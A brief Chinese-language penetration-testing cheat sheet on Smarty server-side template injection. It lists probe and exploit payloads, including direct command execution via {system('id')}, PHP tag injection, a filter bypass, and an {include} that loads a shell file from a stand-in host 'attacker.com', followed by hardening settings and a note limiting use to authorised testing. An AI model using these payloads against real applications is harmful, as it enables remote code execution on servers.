Smarty 是一个流行的 PHP 模板引擎,SSTI (Server-Side Template Injection) 是指攻击者能够将恶意模板代码注入到应用中并在服务器端执行。
Smarty SSTI 允许攻击者在模板中执行 PHP 代码,可能导致远程代码执行(RCE)、信息泄露等安全问题。
简单测试:
{7*7} // 如果返回49,可能存在SSTI
版本检测:
{$smarty.version} // 显示Smarty版本
{php}phpinfo();{/php} // 在旧版本中有效
{system('id')} // 直接执行系统命令
{if}
标签{if phpinfo()}{/if}
{literal}
标签绕过过滤{literal}`id`{/literal}
{include}
包含远程文件{include file='http://attacker.com/shell.txt'}
{capture}
标签{capture name='foo'}<?php phpinfo();?>{/capture}{$smarty.capture.foo}
$smarty->security_settings['PHP_TAGS'] = false;
{php}
标签php
$smarty->enableSecurity();
$smarty->security_policy->disabled_tags = array('php');
请仅在合法授权测试中使用这些技术,未经授权的测试可能违反法律。